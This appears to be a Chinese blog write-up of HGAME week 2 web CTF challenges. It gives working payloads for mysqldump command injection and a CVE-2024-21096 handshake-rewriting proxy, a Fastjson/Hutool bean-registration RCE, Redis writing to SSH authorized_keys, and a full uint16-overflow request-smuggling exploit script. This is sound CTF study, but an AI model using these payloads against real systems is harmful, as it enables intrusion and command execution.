hgame week2 web 复现

hgame week2 复现

前言

hgame week2 的题还是太吃操作了,几乎零解,跟着官 p 学习一下吧

HoneyPot && revenge

因为这道题被非预期了,所以出了个 revenge,但是不影响他仍然是个烂题,先看一下他的漏洞代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
		config.RemoteHost,
		config.RemoteUsername,
		config.RemotePassword,
		config.RemoteDatabase,
		localConfig.Username,
		localConfig.Password,
		config.LocalDatabase,
	)
	fmt.Println(command)
	cmd := exec.Command("sh", "-c", command)
	if err := cmd.Run(); err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{
			"success": false,
			"message": "Failed to import data: " + err.Error(),
		})
		return
	}

非预期是没有对 RemotePassword 参数做过滤,直接打堆叠即可:

1
2
3
4
5
6
7
8
9
// /api/import post请求
{
"remote_host": "8.154.18.17",
"remote_port": "3306",
"remote_username": "root",
"remote_password": "; /writeflag ;#",
"remote_database": "mydb",
"local_database": "aaa"
}

那么出题的本意是什么呢,CVE-2024-21096 mysqldump 命令注⼊,这个博客介绍的很详细,或者去看官 p,但是用这个出题简直烂到家了,利用条件苛刻得要命,复现还难如登天。居然要源码编译 MySQL?我本地 Ubuntu 直接崩了,几十个 G 的依赖,编译四个小时直接卡死。另一种蜜罐模拟更离谱,一直报错,估计出题人自己都没搞明白吧,官方 POC 都没有。

虽然是烂题但是我看到一个群友说可以做一个端口转发,听不来不错,我决定尝试一下:

1
ssh -R [远程服务器端口]:localhost:[本地虚拟机端口] [远程服务器用户]@[远程服务器ip/域名]

注意:/ 需要配置 /etc/ssh/sshd_config 中 GatewayPorts yes,没有就添加这一行,随后重启 sudo systemctl restart sshd,如果没有这个设置,还是不会出网,只会监听服务器本地,如图所示还是没出网

1764923660430-087c742f-3847-4881-98c3-84cf8476230b.png

设置完后就可以了

1764923660441-d9718fe5-1037-4f06-9e60-07d1a9874bec.png

使用 SSH 隧道建立一个反向代理连接,解决本地虚拟机不能出网的问题,在这里可以在本地编译完恶意的 mysql(我就不演示了),再通过服务器进行转发。

还有一种直接改包的方法我还没有复现成功(貌似是因为我的版本号太短了),放上群友的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import asyncio
 
# 用wireshark,发现我这边的mysql服务器一开始会传出这个
# 把它换掉
# 重新编译是最稳的方案
HEADER_OLD = b"c\x00\x00\x00\n5.5.5-10.11.6-MariaDB-0+deb12u1"
HEADER_NEW = b"c\x00\x00\x00\n5.5.5-10.11.6-Ma\n\\! /writeflag\n"
 
IN_HOST, IN_PORT = "localhost", 3306
OUT_HOST, OUT_PORT = "localhost", 9999
 
async def client_connect(reader, writer):
    s_reader, s_writer = await asyncio.open_connection(host=IN_HOST, port=IN_PORT)
 
    async def writeout():
        out = await s_reader.read(len(HEADER_OLD))
        print(">?", out)
        assert out == HEADER_OLD
        assert len(HEADER_OLD) == len(HEADER_NEW)
        out = HEADER_NEW
        print(">!", out)
        writer.write(out)
 
        while not s_reader.at_eof() and not writer.is_closing():
            out = await s_reader.read(1)
            # print(">", out)
            writer.write(out)
 
    async def readin():
        while not reader.at_eof() and not s_writer.is_closing():
            out = await reader.read(1)
            # print("<", out)
            s_writer.write(out)
 
    await asyncio.gather(writeout(), readin())
 
 
async def main():
    server = await asyncio.start_server(client_connect, host=OUT_HOST, port=OUT_PORT, reuse_address=True)
    async with server:
        await server.serve_forever()
 
 
if __name__ == "__main__":
    asyncio.run(main())

我来补充了:终于用这个脚本成功了,还需要调整一点(稍微长一点的版本号都是可以的,自己本地 mysqldump 再用 wireshark 抓一下就知道了)

1
2
HEADER_OLD = b"T\x00\x00\x00\n11.4.4-MariaDB-3\x00"
HEADER_NEW = b"T\x00\x00\x00\n11\n\\! /writeflag\x00"

大致流程就是:本地的 mysql (3306)=> 通过脚本抓包,然后改掉版本号转发到 9999 端口上 => 再通过 ssh 转发 9999 到服务器上的 3306(题目有点问题,所以只能用 3306 端口)=> 题目服务器导入版本号执行命令

还有一点要注意就是数据库东西不能太多了(不知道为什么导入一半就停了),最好是一个空的数据库。还是要感谢有两位师傅一直耐心指导我!!!

SigninJava

纯 java 小白,只能通过 gpt 来看懂代码

jadx 反编译可以看到只有一个 /api/gateway 路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RequestMapping({"/api"})
@Controller
/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/controller/APIGatewayController.class */
public class APIGatewayController {
    @RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST})
    @ResponseBody
    public BaseResponse doPost(HttpServletRequest request) throws Exception {
        try {
            String body = IOUtils.toString(request.getReader());
            Map<String, Object> map = (Map) JSON.parseObject(body, Map.class);
            String beanName = (String) map.get("beanName");
            String methodName = (String) map.get(JsonEncoder.METHOD_NAME_ATTR_NAME);
            Map<String, Object> params = (Map) map.get("params");
            if (StrUtil.containsAnyIgnoreCase(beanName, "flag")) {
                return new BaseResponse(403, "flagTestService offline", null);
            }
            Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
            return new BaseResponse(200, null, result);
        } catch (Exception e) {
            return new BaseResponse(500, ((Throwable) Objects.requireNonNullElse(e.getCause(), e)).getMessage(), null);
        }
    }
}

1764923660538-3802255f-91da-4574-9589-375cc5c9ad04.png

检查了 flag,那么 FlagTestService 是不能用的,还注意到了 beanName,method,params 三个可控参数,所以再看一下 InvokeUtils.invokeBeanMethod

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public static Object invokeBeanMethod(String beanName, String methodName, Map<String, Object> params) throws Exception {
 
        Object beanObject = SpringContextHolder.getBean(beanName);
 
        Method beanMethod = (Method) Arrays.stream(beanObject.getClass().getMethods()).filter(method -> {
 
            return method.getName().equals(methodName);
 
        }).findFirst().orElse(null);
 
        if (beanMethod.getParameterCount() == 0) {
 
            return beanMethod.invoke(beanObject, new Object[0]);
 
        }
 
        String[] parameterTypes = new String[beanMethod.getParameterCount()];
 
        Object[] parameterArgs = new Object[beanMethod.getParameterCount()];
 
        for (int i = 0; i < beanMethod.getParameters().length; i++) {
 
            Class<?> parameterType = beanMethod.getParameterTypes()[i];
 
            String parameterName = beanMethod.getParameters()[i].getName();
 
            parameterTypes[i] = parameterType.getName();
 
            if (!parameterType.isPrimitive() && !Date.class.equals(parameterType) && !Long.class.equals(parameterType) && !Integer.class.equals(parameterType) && !Boolean.class.equals(parameterType) && !Double.class.equals(parameterType) && !Float.class.equals(parameterType) && !Short.class.equals(parameterType) && !Byte.class.equals(parameterType) && !Character.class.equals(parameterType) && !String.class.equals(parameterType) && !List.class.equals(parameterType) && !Set.class.equals(parameterType) && !Map.class.equals(parameterType)) {
 
                if (params.containsKey(parameterName)) {
 
                    parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params.get(parameterName)), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
 
                } else {
 
                    try {
 
                        parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
 
                    } catch (JSONException e) {
 
                        for (Map.Entry<String, Object> entry : params.entrySet()) {
 
                            Object value = entry.getValue();
 
                            if ((value instanceof String) && ((String) value).contains("\"")) {
 
                                params.put(entry.getKey(), JSON.parse((String) value));
 
                            }
 
                        }
 
                        parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);
 
                    }
 
                }
 
            } else {
 
                parameterArgs[i] = params.getOrDefault(parameterName, null);
 
            }
 
        }
 
        return beanMethod.invoke(beanObject, parameterArgs);
 
    }

1764923660661-3c20e25c-96ee-4de0-bf2b-d84d7c47d11f.png

可以看到 fastjson 反序列化时无任何过滤,所以可以注册一个危险类和方法进行 rce,这里是使用 cn.hutool(因为有代码调用了这个类)

先动态注册恶意 bean

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "beanName": "cn.hutool.extra.spring.SpringUtil",
  "methodName": "registerBean",
  "params": {
    "arg0": "execCmd",
    "arg1": {
      "@type": "cn.hutool.core.util.RuntimeUtil"
    }
  }
}

调用注册类的方法就可以进行 rce 了

1
2
3
4
5
6
7
8
{
  "beanName": "execCmd",
  "methodName": "execForStr",
  "params": {
    "arg0": "utf-8",
    "arg1": ["/readflag"]
  }
}

日落的紫罗兰

题目给了两个端口,一个是 ssh 另一个是 redis,很经典的 redis 写 ssh 公钥

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ssh-keygen -t rsa -f ./1
 
(echo -e “\n\n; cat ./1.pub; echo -e “\n\n) > spaced_key.txt
 
cat spaced_key.txt |redis-cli -h [ip] -p [port] -x set ssh_key
 
redis-cli -h [ip] -p [port]
 
config set dir /home/mysid/.ssh  //这个用户名是根据给的user.txt试出来的
 
config set dbfilename "authorized_keys"
 
save
 
exit
 
ssh -i 1 mysid@[ip] -p [port]  //可以用私钥直接连接ssh服务器了

1764923660763-5bb4e6e5-fd53-4ac4-a174-24c406348ef0.png

还需要提权,常规的都不能用,于是执行 ps -aux,发现有一个 root 运行的 java 应用,scp 提取出来分析一下

1764923661080-58962165-5fd7-4aaa-a2e1-bef154854723.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public class MainController {
 
    @Autowired
    private LdapLookupService ldapLookupService;
 
    @GetMapping({"/"})
    public String index() {
        return "Under build...";
    }
 
    @PostMapping({"/search"})
    public ResponseEntity<List<String>> lookupLdap(@RequestParam String baseDN, @RequestParam String filter) {
        List<String> results = this.ldapLookupService.search(baseDN, filter);
        if (results.isEmpty()) {
            return ResponseEntity.noContent().build();
        }
        return ResponseEntity.ok(results);
    }
}

只有两个路由,然后注意到了

1764923661268-ee9fe8c4-15b2-4c0f-9963-6914b0e17e65.png

貌似就是 JNDI 注入,直接打就行,我还是选择使用工具(传到题目服务器上),因为还不是很熟 java 的漏洞

1764923661370-65198ae1-ba8b-42e1-98be-87bdeb041df4.png

1764923661475-cc9072d5-92dc-47b2-bdca-bc208c4d5082.png

这时的 flag 就可读了

不存在的车厢

整数溢出协议走私,没怎么看懂先放在这里。

看了一个师傅的 wp 后,恍然大悟。

后端(监听在 8080 端口)/flag 路由只能接受 post 请求,而代理(监听在 8081 端口)通过一个自定义的 H111 协议与后端通信,只能接受 get 请求,二者产生了矛盾,所以要用到协议走私。

在 H111 协议中,请求体的长度以一个 16 位无符号整数(uint16)写入,这意味着如果构造的 HTTP 请求其 body 长度超过 65535 字节,实际写入的长度会发生 MOD 2^16 运算(即取低 16 位)。

1
2
3
4
5
6
7
8
if req.Body != nil {
    body, err := io.ReadAll(req.Body)
    // …
    if err := binary.Write(writer, binary.BigEndian, uint16(len(body))); err != nil {  }
    writer.Write(body)
} else {
    binary.Write(writer, binary.BigEndian, uint16(0))
}

同时注意到后端的处理逻辑采用了一个无限循环:

1
2
3
4
5
6
for {
    req, err := h111.ReadH111Request(conn)
    if err != nil {  }
    // 用 httptest.NewRecorder 调用 mux.ServeHTTP
    // 将响应写回 conn
}

也就是说,只要 TCP 连接上还有数据,后端就会继续调用 ReadH111Request 来解析 “下一条” 请求。而代理端对与后端连接进行了复用,因此只要某个连接中残留了数据,就可能在下一次请求时被读取并当作一个完整的新请求处理。

攻击链:构造一个超长 GET 请求,总长度 B 超过 65535 字节 => 利用长度字段溢出制造出数据残留 => 将走私数据拼接在超长 GET 请求的尾部(post /flag)

放在师傅的 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python3
import socket
import struct
 
def build_smuggled_request():
    method = b"POST"
    uri = b"/flag"
    header_count = 0
    fixed_part = (
        struct.pack(">H", len(method)) + method +
        struct.pack(">H", len(uri)) + uri +
        struct.pack(">H", header_count)
    )
    # body_size 为 65536 - 固定部分(17 字节) - 2 字节 body 长度字段
    body_size = 65536 - (len(fixed_part) + 2)
    # 构造 body,此处填充 A 字符
    body = b"A" * body_size
 
    # 构造 body 部分:先写 2 字节的 body 长度(body_size,uint16),再写 body 内容
    body_part = struct.pack(">H", body_size) + body
 
    smuggled = fixed_part + body_part
    assert len(smuggled) == 65536, f"smuggled length = {len(smuggled)} != 65536"
    return smuggled
 
def build_payload(padding_size, smuggled):
    padding = b"B" * padding_size  # P 字节填充(例如 100 字节)
    full_body = padding + smuggled
    return full_body
 
def build_http_request(full_body):
    request_line = b"GET /flag HTTP/1.1\r\n"
    headers = (
        b"Host: 127.0.0.1:8081\r\n" +
        b"Content-Length: " + str(len(full_body)).encode() + b"\r\n" +
        b"\r\n"
    )
    http_request = request_line + headers + full_body
    return http_request
 
def send_payload(host, port, payload):
    with socket.create_connection((host, port)) as s:
        print(f"[+] 连接到 {host}:{port}")
        s.sendall(payload)
        print("[+] Payload 已发送,等待响应...")
        response = b""
        s.settimeout(2)
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                response += chunk
        except socket.timeout:
            pass
        print("[+] 收到响应:")
        try:
            print(response.decode())
        except UnicodeDecodeError:
            print(response)
 
def main():
    # 选择填充长度 P
    padding_size = 100
    smuggled = build_smuggled_request()
    print(f"[+] 构造的 smuggled 请求长度: {len(smuggled)} bytes")
    full_body = build_payload(padding_size, smuggled)
    print(f"[+] 最终 HTTP 请求体总长度: {len(full_body)} bytes")
    http_request = build_http_request(full_body)
    print(f"[+] 构造的 HTTP 请求总长度: {len(http_request)} bytes")
    send_payload("ip", port, http_request)
 
if __name__ == "__main__":
    main()

多发几次就可以卡出连接复用。